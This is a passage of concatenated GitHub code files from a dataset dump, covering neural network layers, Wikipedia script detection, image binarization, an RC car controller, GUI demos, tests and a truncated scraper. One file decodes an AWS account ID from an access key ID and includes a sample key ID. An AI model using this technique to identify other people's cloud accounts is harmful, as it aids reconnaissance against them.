1/(edge_attr[:, :1]+1e-7)\n scale = 1/(1 + edge_attr[:, :1])\n\n v_ij = x_i[:, :2] - x_j[:, :2]\n dot_product = (v_ij[:, 0] * edge_attr[:, 1] + v_ij[:, 1] * edge_attr[:, 2]).unsqueeze(1) #negativ means moving towards each other - positiv means away\n\n vel_i = torch.norm(x_i[:, :2], dim=1, keepdim=True)\n vel_j = torch.norm(x_j[:, :2], dim=1, keepdim=True)\n\n z = torch.cat((x_i[:, 2:], x_j[:, 2:], dot_product, vel_i, vel_j, scale), dim=1)\n mij = self.mlp(z)\n\n x_x = self.lin_x(mij).unsqueeze(dim=1)\n x_h = self.lin_h(mij).unsqueeze(dim=1)\n x_x = F.leaky_relu(x_x, self.negative_slope)\n x_h = F.leaky_relu(x_h, self.negative_slope)\n alpha_x = (x_x * self.att_x).sum(dim=-1)\n alpha_x = softmax(alpha_x, index, ptr, size_i)\n alpha_h = (x_h * self.att_h).sum(dim=-1)\n alpha_h = softmax(alpha_h, index, ptr, size_i)\n self._alpha = alpha_x\n\n #x_x = (x_x.squeeze(1) * alpha_x) * edge_attr[:, 1:3] #equivariant\n x_x = (self.lin_x1(mij) * alpha_x) * edge_attr[:, 1:3] #equivariant\n #x_h = x_h.squeeze(1) * alpha_h #invariant\n x_h = self.lin_h1(mij) * alpha_h #invariant\n x = torch.cat((x_x, x_h), dim=1)\n return torch.tanh(x.unsqueeze(dim=1))\n\n def __repr__(self) -> str:\n return (f'{self.__class__.__name__}({self.in_channels}, '\n f'{self.out_channels}, heads={1})')\n","repo_name":"Yarlermanden/MultiCellularAutomata","sub_path":"Thesis/src/gat_edge_conv.py","file_name":"gat_edge_conv.py","file_ext":"py","file_size_in_byte":6429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27552635019","text":"from argparse import ArgumentParser\nfrom pathlib import Path\nimport unicodedata\nimport pandas as pd\nimport wikipedia\nfrom typing import List\n\nparser = ArgumentParser()\nparser.add_argument(\"-e\", \"--export\", default=None, type=Path)\nargs = parser.parse_args()\n\n\ndef get_script(txt):\n scripts = []\n try:\n for c in txt:\n s = unicodedata.name(c).split()\n if s[0] == \"OLD\":\n s = s[0] + \" \" + s[1]\n else:\n s = s[0]\n scripts.append(s)\n except ValueError:\n pass\n\n scripts = [\n s for s in scripts if s not in {\n \"FULL\",\n \"LEFT-POINTING\",\n \"RIGHT-POINTING\",\n \"RIGHT\",\n \"LEFT\",\n \"DIGIT\",\n \"QUOTATION\",\n \"COMMA\",\n \"COLON\",\n \"HYPHEN-MINUS\",\n 'GREATER-THAN',\n 'SOLIDUS',\n 'AMPERSAND',\n 'PLUS',\n 'APOSTROPHE',\n 'LESS-THAN',\n 'VERTICAL',\n 'EQUALS',\n 'EXCLAMATION',\n 'TILDE',\n 'QUESTION',\n 'NUMBER',\n 'DOLLAR',\n 'IDEOGRAPHIC',\n 'FULLWIDTH',\n 'EM',\n 'PERCENT',\n 'MIDDLE',\n 'LOW',\n 'POUND',\n 'MIDLINE',\n 'HORIZONTAL',\n 'BULLET',\n 'BOX',\n 'SEMICOLON',\n 'SPACE',\n 'MODIFIER',\n 'INVERTED',\n 'COMBINING',\n 'ACUTE',\n 'RIGHT-TO-LEFT',\n 'TELEVISION',\n 'SEEDLING',\n 'ORANGE',\n 'HEADPHONE',\n 'EVERGREEN',\n 'BLACK',\n 'NEUTRAL',\n 'SIGN',\n 'RELIEVED',\n 'YELLOW',\n 'HIGH',\n 'TEACUP',\n 'GRINNING',\n 'WHITE',\n 'HOT',\n 'FIRE',\n 'WINKING',\n 'OPEN',\n 'ROUND',\n 'UPWARDS',\n 'ROLLING',\n 'SMILING',\n 'FALLEN',\n 'HEAVY',\n 'VARIATION',\n 'COMMERCIAL',\n 'EMOJI',\n 'MOBILE',\n 'DOUBLE',\n 'SPARKLES',\n 'NUMERO',\n 'EN',\n 'SPLASHING',\n 'CLAPPER',\n 'FACE',\n 'VICTORY',\n 'RUNNER',\n }\n ]\n unique_scripts = [s for s in sorted(set(scripts)) if scripts.count(s) > len(scripts) * 0.2]\n if len(unique_scripts) == 1:\n return unique_scripts[0].lower()\n\n for script in unique_scripts:\n n = scripts.count(script)\n if n >= 0.95 * len(scripts):\n return script.lower()\n\n if unique_scripts == [\"CJK\", \"HIRAGANA\"]:\n return \"kana\"\n raise Exception(\"AMBIGUOUS:\", unique_scripts, [scripts.count(s) for s in unique_scripts])\n\n\ndef get_text(lid):\n assert lid in wikipedia.languages()\n wikipedia.set_lang(lid)\n\n txt = \"\"\n\n titles = wikipedia.random(3)\n for title in titles:\n try:\n p = wikipedia.page(title)\n except wikipedia.WikipediaException:\n return get_text(lid)\n txt += p.summary\n\n assert txt\n return txt\n\n\n\nlines = []\nwith open(\"research/udpos/langs-xlmr.txt\") as f:\n for line in f:\n lid, lname, ntokens, gib = line.rstrip().split()\n lname = lname.replace(\"_\", \" \")\n ntokens = float(ntokens)\n gib = float(gib)\n\n print(f\"{lid:<5} {lname:<20}\")\n\n if lname.endswith(\" Romanized\"):\n lname = lname.replace(\" Romanized\", \"\")\n s = \"latin\"\n else:\n s = None\n while s is None:\n try:\n s = get_script(get_text(lid))\n except Exception as e:\n print(e)\n\n if s == \"cjk\":\n s = \"chinese\"\n\n print(f\"{s}\\n\")\n\n lines.append((lid, lname, ntokens, gib, s))\n\ndf = pd.DataFrame(lines, columns=[\"language_id\", \"language\", \"tokens\", \"size\", \"script\"])\nprint(df)\nprint(df.script.value_counts())\n\nif args.export:\n df.to_csv(args.export)\n","repo_name":"wietsedv/xpos","sub_path":"research/udpos/xlmr-langs.py","file_name":"xlmr-langs.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"72664270168","text":"import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n \n trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n y = x[0:6]\n \n z = int.from_bytes(y, byteorder='big', signed=False)\n mask = (int.from_bytes(binascii.unhexlify(b'ffffffffff00'), byteorder='big', signed=False))>>1 # 5 bytes mask, shifted by 1 bit\n\n e = (z & mask)>>7 # applying the mask, and shifting to remove x[6]'s 7 irrelevant bits\n return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n","repo_name":"talbeerysec/AWS_Key_id_decoding","sub_path":"AWSAccount_from_AWSKeyID.py","file_name":"AWSAccount_from_AWSKeyID.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23338984139","text":"\nr'''\n\npy script/pngs2blackwhite.py -i '/sdcard/0my_files/tmp/graph/hand_draw-plantri-adc3m3-4d16d~sz306~[not_blackwhite]/' -o '/sdcard/0my_files/tmp/graph/tmp_out/'\n====\npng二值化\n 由于实际操作中的种种原因,png白色真白,但黑色不黑,用python::purepng库 使png颜色 二值化\n 由于 Pixly 不支持 bitdepth=1, 这里 只用 bitdepth=8\n 由于 Pixly 将 greyscale=True 保存的图 读作 alpha 通道,这里 只用 greyscale=False\n\n\n\n\n\n====\nview script/draw_tri_planar_graphs.py.data/hand_draw-readme.txt\n\nview script/pngs2blackwhite.py\n png二值化\n view others/app/termux/py_pip/purepng.txt\n\n\n\n====\npip install purepng\nimport png\n\n====\n\n\n\n=======copy from purepng.txt\nimport png\n\nidir = '/sdcard/0my_files/git_repos/txt_phone/draw-plantri-adc3m3/.'\nodir = '/sdcard/0my_files/tmp/graph/png/.'\n\npath_sq = f'{idir}/32_32_sq.png'\npath_035 = f'{idir}/035.png'\nopng35_fmt = '/sdcard/0my_files/tmp/tmp035_{}.png'\n\nr = png.Reader(path_sq).read()\n (32, 32, , {'greyscale': False, 'alpha': True, 'planes': 4, 'bitdepth': 8, 'interlace': 0, 'size': (32, 32), 'text': {}})\nm = [*r[2]]\nlen(m)\n 32\nlen(m[0])\n 128 == 32*4 bytes\n\nr35 = png.Reader(path_035).read()\n #(x-width-col, y-height-row)\n (64, 32, , {'greyscale': False, 'alpha': True, 'planes': 4, 'bitdepth': 8, 'interlace': 0, 'size': (64, 32), 'text': {}})\nm35 = [*r35[2]]\nlen(m35)\n 32 rows\nlen(m35[0])\n 256 == 64*4 bytes cols*RGBA #0xff - 最饱和、最透明\n\n\n\n...\n...\n...\n\n\nm35_bit = rgba_to_bit(m35, input_alpha=True)\nm35_byte = rgba_to_byte(m35, input_alpha=True)\nm35_rgb_bw = rgba_to_rgb_bw(m35, input_alpha=True)\n\n\n#png.Writer(width:num_columns, height:num_rows, greyscale=True, bitdepth=bbb,palette=[[int%2**bbb]{3|4}]).write(fout, [[int%2**bbb]{width}]{height})\n \"bitdepth < 8 only permitted with greyscale or palette\"\n \"alpha and palette not compatible\n \"greyscale and palette not compatible\"\n palette=None|len<-[1..256]&&len(self[0])<)[3..4]\n\nwith open(opng35_fmt.format('byte_grey'), 'xb') as fout:\n png.Writer(64, 32, greyscale=True, bitdepth=8,palette=None,alpha=False).write(fout, m35_byte)\n # => 172 B\n\nwith open(opng35_fmt.format('bit_grey'), 'xb') as fout:\n png.Writer(64, 32, greyscale=True, bitdepth=1,palette=None,alpha=False).write(fout, m35_bit)\n # => 146 B\n\nwith open(opng35_fmt.format('bit_palette'), 'xb') as fout:\n png.Writer(64, 32, greyscale=False, bitdepth=1,palette=[(0,0,0), (0xff,0xff,0xff)],alpha=False).write(fout, m35_bit)\n #竟然不是(1,1,1) !!! 而是 (0xff,0xff,0xff)\n # => 164 B\n\nwith open(opng35_fmt.format('bw_palette'), 'xb') as fout:\n png.Writer(64, 32, greyscale=False, bitdepth=8,palette=[(0,0,0), (0xff,0xff,0xff)],alpha=False).write(fout, m35_bit)\n # => 190 B\n\nwith open(opng35_fmt.format('rgb_bw'), 'xb') as fout:\n png.Writer(64, 32, greyscale=False, bitdepth=8,palette=None,alpha=False).write(fout, m35_rgb_bw)\n # => 228 B\n\n\n\nhand_draw_rgba_pngs_to_rgb_bw(odir, idir)\n\n\n\n#'''\n\ntry:\n from seed.for_libs.for_logging import disable_logging\nexcept ImportError:\n import logging\n logging.disable()\n try:\n import png\n finally:\n logging.disable(logging.NOTSET)\n #rint('here')\nelse:\n with disable_logging():\n import png\n\nif 1:\n import logging\n assert logging.getLogger() is logging.getLogger('')\n assert logging.getLogger() is not logging.getLogger('root')\n logging.disable()\n logging.disable(logging.NOTSET)\n\n\nfrom pathlib import Path\n\n#updated: add force\ndef hand_draw_rgba_pngs_to_rgb_bw(odir, idir, *, force):\n idir = Path(idir)\n odir = Path(odir)\n omode = 'wb' if force else 'xb'\n\n for ipng in idir.glob('*.png'):\n opng = odir / ipng.name\n (width, height, mx_rgba, attrs) = png.Reader(str(ipng)).read()\n #(32, 32, , {'greyscale': False, 'alpha': True, 'planes': 4, 'bitdepth': 8, 'interlace': 0, 'size': (32, 32), 'text': {}})\n if attrs['bitdepth'] == 8 and not attrs['greyscale']:pass\n else:\n raise NotImplementedError\n input_alpha = attrs['alpha']\n mx_rgb_bw = rgba_to_rgb_bw(mx_rgba, input_alpha=input_alpha)\n with open(opng, omode) as fout:\n png.Writer(width, height, greyscale=False, bitdepth=8,palette=None,alpha=False).write(fout, mx_rgb_bw)\n\n\ndef rgba_to_bit(m, *, input_alpha):\n def f(r,g,b,a):\n return (r,g,b) == (0xff,0xff,0xff)\n return rgba_to_xxx(f, m, input_alpha=input_alpha)\n\ndef rgba_to_byte(m, *, input_alpha):\n def f(r,g,b,a):\n x = (r,g,b) == (0xff,0xff,0xff)\n return 0xff * x\n return rgba_to_xxx(f, m, input_alpha=input_alpha)\n\ndef rgba_to_rgb_bw(m, *, input_alpha):\n def f(r,g,b,a):\n black = (0x00,0x00,0x00)\n white = (0xff,0xff,0xff)\n is_white = (r,g,b) == white\n return white if is_white else black\n return rgba_to_xxx(f, m, input_alpha=input_alpha)\n\ndef rgba_to_xxx(f, m, *, input_alpha):\n step = 4 if input_alpha else 3\n xss = []\n for row in m:\n w = len(row)//step\n assert w*step == len(row)\n xs = []\n for i in range(w):\n rgbx = row[step*i:step*i+step]\n if step == 4:\n r,g,b,a = rgbx\n else:\n r,g,b = rgbx\n a = None\n x = f(r,g,b,a)\n try:\n it = iter(x)\n except TypeError:\n xs.append(x)\n else:\n xs.extend(it)\n xss.append(xs)\n return xss\n\n\n\n\n\n\n\n\n\n\n\ndef main(args=None):\n import argparse\n from seed.io.may_open import may_open_stdin, may_open_stdout\n\n parser = argparse.ArgumentParser(\n description='convert png color to black/white only'\n , epilog=''\n , formatter_class=argparse.RawDescriptionHelpFormatter\n )\n parser.add_argument('-i', '--input', type=str, default=None, required=True\n , help='input folder')\n parser.add_argument('-o', '--output', type=str, default=None, required=True\n , help='output folder')\n parser.add_argument('-f', '--force', action='store_true'\n , default = False\n , help='open mode for output file')\n\n args = parser.parse_args(args)\n hand_draw_rgba_pngs_to_rgb_bw(\n odir=args.output\n ,idir=args.input\n ,force = args.force\n )\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"edt-yxz-zzd/txt_phone","sub_path":"txt/script/pngs2blackwhite.py","file_name":"pngs2blackwhite.py","file_ext":"py","file_size_in_byte":6244,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"16186292803","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"RC遥控车控制端\n目标ip作为命令行参数传入 默认为 '192.168.50.88'\n\n可以前进后退\n\"\"\"\n\n\nimport sys\nimport socket\nfrom pynput import keyboard\n\n\nHOST = '192.168.50.88'\nPORT = 1201\nBUFSIZE = 1024\n# ADDR = (HOST, PORT)\n\n\ndef on_press(key):\n global sock\n if key.char == 'w':\n sock.send(b'forward')\n elif key.char == 's':\n sock.send(b'back')\n elif key.char == 'a':\n sock.send(b'forward&left')\n elif key.char == 'd':\n sock.send(b'forward&right')\n elif key.char == 'p':\n sock.send(b'unlock')\n elif key.char == 'q':\n sock.send(b'quit')\n sock.close()\n return False\n\n\ndef on_release(key):\n global sock\n sock.send(b'stop')\n\n\nhost = '{0}'.format(sys.argv[1]) if len(sys.argv) > 1 else HOST\nprint('target server{0}:{1}'.format(host, PORT))\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((host, PORT))\nwith keyboard.Listener(on_press=on_press, on_release=on_release) as listener:\n listener.join()\n","repo_name":"nasihs/luckyBot_ws","sub_path":"test/rc_controler_old.py","file_name":"rc_controler_old.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"30053250869","text":"# 041819 - Vlookup for Salesforce 18 Character ID -- Master Sync Test\nimport glob as gb\nimport pandas as pd\nimport tkinter as tk\nimport datetime as dt\nimport os, time, shutil\nimport webbrowser as wb\nfrom tkinter.font import Font\nfrom tkinter import filedialog\nfrom tkinter.filedialog import askopenfilename\n\n#Replace \"smk\" with your user. Then check directory paths.\nuser_path = '/Users/smk'\ndl_dir = user_path + '/Downloads/'\nroot_dir = user_path + '/Library/Mobile Documents/com~apple~CloudDocs/git_projects/vlook/'\ndest_dir = user_path + '/Google Drive/vlook/'\ngoog_url = 'https://drive.google.com/drive/folders/'\n\n\ndef getFolderPath(self):\n file_selected = filedialog.askopenfilename(initialdir = dl_dir, title = \"Select File\", filetypes = ((\"Excel Files\",\"*.xlsx\"),(\"All Files\",\"*.*\")))\n filePath.set(file_selected)\n\n\ndef drop_y(df):\n to_drop = [x for x in df if x.endswith('_y')]\n df.drop(to_drop, axis=1, inplace=True)\n\n#Tkinter Variables\nheight = 400\nwidth = 500\n\nroot = tk.Tk()\ncanvas = tk.Canvas(root, height=height, width=width)\ncanvas.pack()\n\nframe = tk.Frame(root, bg='#88c1ff')\nframe.place(relwidth=1, relheight=1)\n\ntext = tk.Text(root)\nheaderFont = Font(size=12)\ntext.configure(font=headerFont)\n\nfilePath = tk.StringVar()\n\nfiles = gb.glob(dl_dir + '*.xlsx')\nlatest_file = max(files, key=os.path.getctime)\n\nct = dt.datetime.fromtimestamp(os.path.getmtime(latest_file))\ncreate_time = int(ct.strftime(\"%Y%m%d%H%M\"))\nnow = int(time.strftime(\"%Y%m%d%H%M\"))\nhow_old = now - create_time\nprint(how_old)\n\nif how_old <= 1:\n files = gb.glob(dl_dir + '*.xlsx')\n latest_file = max(files, key=os.path.getctime)\nelse:\n latest_file = \"No recent *.xlsx file in your downloads folder\"\n\ndrop_entry_options = ['left','right','outer','inner']\ndrop_entry = tk.StringVar()\n\n#Tkinter Frame Objects\ndrop_subheader = tk.Label(frame, bg='#88c1ff', font=headerFont, text=\"Select your join:\")\ndrop_subheader.place(relx=-0.21, rely=0.17, relwidth=0.8, relheight=0.1)\n\ndrop_down = tk.OptionMenu(frame, drop_entry, *drop_entry_options)\ndrop_down.place(relx=0.1, rely=0.25, relwidth=0.8, relheight=0.1)\n\nfile1_subheader = tk.Label(frame, bg='#88c1ff', font=headerFont, text=\"Latest spreadsheet in Downloads:\")\nfile1_subheader.place(relx=-0.11, rely=0.42, relwidth=0.8, relheight=0.1)\n\nfile1 = tk.Label(frame, bg='#ffffff', text=latest_file)\nfile1.place(relx=0.1, rely=0.50, relwidth=0.8, relheight=0.1)\n\nfile2_subheader = tk.Label(frame, bg='#88c1ff', font=headerFont, text=\"Select a spreadsheet:\")\nfile2_subheader.place(relx=-0.18, rely=0.62, relwidth=0.8, relheight=0.1)\n\nfile2 = tk.Entry(frame, bg='#ffffff', textvariable=filePath)\nfile2.place(relx=0.1, rely=0.70, relwidth=0.8, relheight=0.1)\n\nbutton = tk.Button(frame, text=\"Select a file\", bg='#333333', command=lambda: getFolderPath(file2.get()))\nbutton.place(relx=0.19, rely=0.84, relwidth=0.3, relheight=0.088)\n\nsubmit = tk.Button(frame, text=\"Submit\", bg='#333333', command = root.destroy)\nsubmit.place(relx=0.51, rely=0.84, relwidth=0.3, relheight=0.088)\n\nroot.mainloop()\n\n#*.xlsx merge\nif how_old <= 1:\n\n df = pd.read_excel(filePath.get())\n df2 = pd.read_excel(latest_file)\n\n key_headers = df.columns.values.tolist()\n\n vlook = df.merge(df2, on=key_headers[0], how=drop_entry)\n drop_y(vlook)\n date_created = time.strftime(\"%m.%d.%Y_%H:%M:%S\")\n vlook.to_csv('python_vlook_' + date_created + '.csv', sep=',', index=False)\n\n for find_csv in sorted(gb.glob(root_dir + '*.csv')):\n print(find_csv)\n\n shutil.copy(find_csv, dest_dir)\n\n try:\n os.remove(find_csv)\n print(\"🔥🔥🔥🔥🔥🔥 SUCCESS! 🔥🔥🔥🔥🔥🔥\")\n time.sleep(1)\n wb.open(goog_url + '1V4waIWHHAtF2kIXQ-J8a6zbv1flfp8DI', new=2, autoraise=False)\n except OSError as e:\n print (\"Error: %s - %s.\" % (e.filename, e.strerror)) \n\nelse:\n print(\"🤷â€� No recent .xlsx files, build again! 🤷â€�\")\n\n\n\n\n## Imporvements\n\n# 0) add a refresh button to update the most recent file\n# 1) add settings for type of \"Join\"\n# 2) add setting to ask if if you have one file w/ two sheets or two \n# workbooks.\n# 3) DONE: add a way to get the name of the first column in the first workbook and use that\n# as the uID to match on.\n# 4) Investigate the use of a class for the GUI\n\n### Misc\n\n# for workbook in sorted(glob.glob(root_dir + '*.xlsx')):\n# print(workbook)\n","repo_name":"deneckej/vlook","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72993968087","text":"import scipy.io as sio\nimport pandas as pd\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nimport logging\n\nfrom keras import layers\nfrom keras.layers import Input, ZeroPadding2D, Conv2D, ZeroPadding1D, Conv1D, BatchNormalization, Activation, Flatten, Dense\nfrom keras.layers import AveragePooling2D, MaxPooling1D, Dropout, GlobalMaxPooling2D, GlobalAveragePooling2D\nfrom keras.models import Model, load_model\nfrom keras import regularizers\nfrom keras.preprocessing import image\nfrom keras.utils import layer_utils\nfrom keras.utils.data_utils import get_file\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom utility import *\n\n\nimport keras.backend as K\nK.set_image_data_format('channels_last')\n\n\n# Build the structures\nactivities_dict = {'RUNNING': 0, 'WALKING': 1, 'JUMPING': 2, 'STNDING': 3, 'SITTING': 4, 'XLYINGX': 5, 'FALLING': 6, 'TRANSUP': 7, 'TRANSDW': 8, 'TRNSACC': 9, 'TRNSDCC': 10}#, 'TRANSIT': 11}\n\n# Read the .mat file\nmat = sio.loadmat('ARS_DLR_Benchmark_Data_Set.mat')\nmat = {k:v for k, v in mat.items() if k[0] != '_'}\ndata = pd.DataFrame({k: pd.Series(v[0]) for k, v in mat.items()})\n\n# How many shifts in the sample\ncounter = 0\n\ntrue_labels = []\npredicted_labels = []\n\nright_predictions = 0\ntotal_predictions = 0\n#total_transit = 0\n#right_transit = 0\nactivity_recognizer = load_model('activity_recognizer_10_128.h5')\n\n# Cycle over all the people in the dataset\nfor column in data:\n\t# Extrapolate data of a single user\n\tsample = data[column][0]\n\tattitude = data[column][1]\n\tsample_activities = data[column][2][0]\n\tindexes = np.squeeze(data[column][3]) - 1 # Remove 1 since data are saved in matlab and indexes start from 1 D:\n\n\twindow_size = 27\n\tleft_limit = 0\n\tshift = 5\n\n\t# Remove time from sample and attitude matrix\n\tsample = sample[:,1:]\n\tattitude = attitude[:,1:]\n\n\t# Turn coordinates into global frame\n\tsample = data_to_global_frame(sample,attitude)\n\n\t# Poiner to the label\n\tpointer = 0\n\n\t# Shift the window over all the sample until the right limit of the window is less than the sample size\n\twhile(left_limit + window_size <= sample.shape[0]):\n\t\tcounter += 1\n\t\tcurrent_window = sample[left_limit:left_limit + window_size, :]\n\t\tcurrent_window = current_window.reshape(1, current_window.shape[0], current_window.shape[1])\n\t\tprediction = activity_recognizer.predict(current_window)\n\t\tpredicted_label = np.argmax(prediction)\n\t\t# Check whenever the label of true output is changed\n\t\t# Takes in account only windows completely contained in a pattern\n\t\tif(left_limit + window_size <= indexes[pointer*2+1]):\n\t\t\ttotal_predictions += 1\n\t\t\ttrue_label = activities_dict[sample_activities[pointer][0]]\n\t\t\tpredicted_labels.append(predicted_label)\n\t\t\ttrue_labels.append(true_label)\n\t\t\tif(predicted_label == true_label):\n\t\t\t\tright_predictions += 1\n\n\t\telif(pointer + 1 < sample_activities.shape[0]):\n\t\t\tif(left_limit >= indexes[(pointer+1) * 2]):\n\t\t\t\t# If left_limit is greater of the left limit of the pattern in the indexes, then increase pointer\n\t\t\t\tpointer += 1\n\t\t\t\ttotal_predictions += 1\n\t\t\t\ttrue_label = activities_dict[sample_activities[pointer][0]]\n\t\t\t\tpredicted_labels.append(predicted_label)\n\t\t\t\ttrue_labels.append(true_label)\n\t\t\t\tprint(sample_activities[pointer][0] + \" ----------- \" + str(true_label))\n\t\t\t\tprint(\"Predicted label: \" + str(predicted_label))\n\t\t\t\tif(predicted_label == true_label):\n\t\t\t\t\tright_predictions += 1\n\t\t\t# else:\n\t\t\t# \t# Transitions, not recognized\n\t\t\t# \ttrue_label = 11\n\t\t\t# \ttotal_predictions += 1\n\t\t\t# \ttotal_transit += 1\n\t\t\t# \tif(predicted_label == true_label):\n\t\t\t# \t\tright_transit += 1\n\n\t\t# if(predicted_label == true_label):\n\t\t# \tright_predictions += 1\n\n\t\tleft_limit += shift\n\nlabels = pd.DataFrame(\n {'true': true_labels,\n 'predicted': predicted_labels\n })\n\nlabels.to_csv(\"labels_benchmark.csv\", index=None, header=None, sep='\\t')\nprint(\"Number of windows: \" + str(counter))\nprint(\"Total predictions: \" + str(total_predictions))\nprint(\"Prediction accuracy: \" + str(right_predictions/total_predictions))\n","repo_name":"DavidePeron/motion-detection","sub_path":"generate_benchmark.py","file_name":"generate_benchmark.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18369943512","text":"import tkinter as tk\r\n\r\n\r\nroot = tk.Tk()\r\nroot.title(\"CIK Academy\")\r\nroot.iconbitmap(\"cik.ico\")\r\nroot.geometry(\"350x350\")\r\n\r\n\r\n# v = tk.IntVar()\r\n# v.set(1)\r\n# w = tk.OptionMenu(root, v, 1, 2, 3, 4, 5)\r\n# w.pack()\r\n\r\nOPTIONS = [\"Afrika\",\r\n \"Amerika\",\r\n \"Antarktida\",\r\n \"Avropa\",\r\n \"Asiya\",\r\n \"Avstraliya\"]\r\nv = tk.StringVar()\r\nv.set(OPTIONS[0])\r\nw = tk.OptionMenu(root, v, *OPTIONS)\r\nw.pack()\r\n\r\nb = tk.Button(root, text=\"Click\", command=lambda: print(v.get()))\r\nb.pack()\r\n\r\n# relief, bd, bg, fg, activebackground, activeforeground, disabledforeground, state\r\n# w.config(indicatoron=0)\r\nw.config(direction=\"flush\")\r\n# above, below, flush, left, right\r\n\r\nroot.mainloop()\r\n","repo_name":"hseysen/tkinter_dersleri","sub_path":"Dersler/17_option_menu.py","file_name":"17_option_menu.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8664315821","text":"import pytest\nfrom dsl.data_uploader import DataUpload\n\npytestmark = [pytest.mark.datauploader, pytest.mark.io_all]\n\n\n@pytest.mark.lead\n@pytest.mark.usefixtures(\"file_delete_leads_import_csv\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_download_leads_template(config):\n \"\"\" Download import leads template and verify\"\"\"\n test = (DataUpload(config)\n .using_download_template_dialog()\n .download_import_leads_template()\n .verify_documents_downloaded()\n )\n\n\n@pytest.mark.skipif('tst' in pytest.config.option.env, reason='IP-56831')\n@pytest.mark.lead\n@pytest.mark.usefixtures(\"api_delete_lead\")\n@pytest.mark.usefixtures(\"ui_login_logout\")\ndef test_upload_leads_template(config):\n \"\"\" Upload completed template and verify data synced\"\"\"\n test = (DataUpload(config)\n .using_import_completed_template_dialog()\n .upload_template(\"Import Leads\")\n .verify_uploaded_file()\n .navigate_to_lead_page()\n .search_and_open_lead()\n .verify_uploaded_data_synced()\n )","repo_name":"intelliflovrk/raj_test_io","sub_path":"userjourneys/test_io_data_uploader.py","file_name":"test_io_data_uploader.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37974413172","text":"import logging\n\nLOGGER_NAME = \"MEDHABOARD\"\nMETHOD_ENTRY = \"Entered method\"\nMETHOD_EXIT = \"Exit method\"\n\ndef init_logger():\n logging.getLogger(\"paramiko\").setLevel(logging.DEBUG)\n # init log module\n logging.basicConfig(\n format='%(asctime)-15s - %(levelname)8s - %(module)10s [%(filename)s:%(lineno)d] - %(message)s',\n level=logging.DEBUG,\n datefmt='%m/%d/%Y %I:%M:%S.%p',\n handlers=[\n # logging.FileHandler(\"poc1.log\"),\n logging.StreamHandler()\n ]\n )\n return logging.getLogger(LOGGER_NAME)\n","repo_name":"Conundrum-Archives/Medha","sub_path":"MedhaLibrary/src/medhalib/Utils/LogModules.py","file_name":"LogModules.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"38276478651","text":"# Define an empty list to store tasks\r\ntasks = []\r\n\r\n# Function to add a task to the list\r\ndef add_task(task):\r\n tasks.append(task)\r\n print(f\"Task '{task}' added.\")\r\n\r\n# Function to list all tasks\r\ndef list_tasks():\r\n if not tasks:\r\n print(\"No tasks found.\")\r\n else:\r\n print(\"Tasks:\")\r\n for index, task in enumerate(tasks, start=1):\r\n print(f\"{index}. {task}\")\r\n\r\n# Function to remove a task by its index\r\ndef remove_task(index):\r\n if 1 <= index <= len(tasks):\r\n removed_task = tasks.pop(index - 1)\r\n print(f\"Task '{removed_task}' removed.\")\r\n else:\r\n print(\"Invalid task index.\")\r\n\r\n# Main loop\r\nwhile True:\r\n print(\"\\nTo-Do List App\")\r\n print(\"1. Add Task\")\r\n print(\"2. List Tasks\")\r\n print(\"3. Remove Task\")\r\n print(\"4. Quit\")\r\n \r\n choice = input(\"Enter your choice (1/2/3/4): \")\r\n \r\n if choice == \"1\":\r\n task = input(\"Enter the task: \")\r\n add_task(task)\r\n elif choice == \"2\":\r\n list_tasks()\r\n elif choice == \"3\":\r\n list_tasks()\r\n index = int(input(\"Enter the index of the task to remove: \"))\r\n remove_task(index)\r\n elif choice == \"4\":\r\n print(\"Goodbye!\")\r\n break\r\n else:\r\n print(\"Invalid choice. Please enter a valid option (1/2/3/4).\")\r\n","repo_name":"v0786/python-practice-programs","sub_path":"to do list.py","file_name":"to do list.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30444990184","text":"import time\nimport logging\n\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import StaleElementReferenceException\nfrom selenium.common.exceptions import ElementClickInterceptedException\n\nfrom .. import constants\nfrom .. import actions\n\nlogger = logging.getLogger('__name__')\n\n\nclass GrabPostLinks(actions.Action):\n def __init__(self, scraper, link, xpath=None):\n super().__init__(scraper)\n self.__link = link\n self.__max_download = scraper.max_download\n self.__xpath = xpath\n\n def do(self):\n \"\"\"\n Scroll all the way down to the bottom of the page\n When xpath is given, only links inside the xpath will be retrieved\n 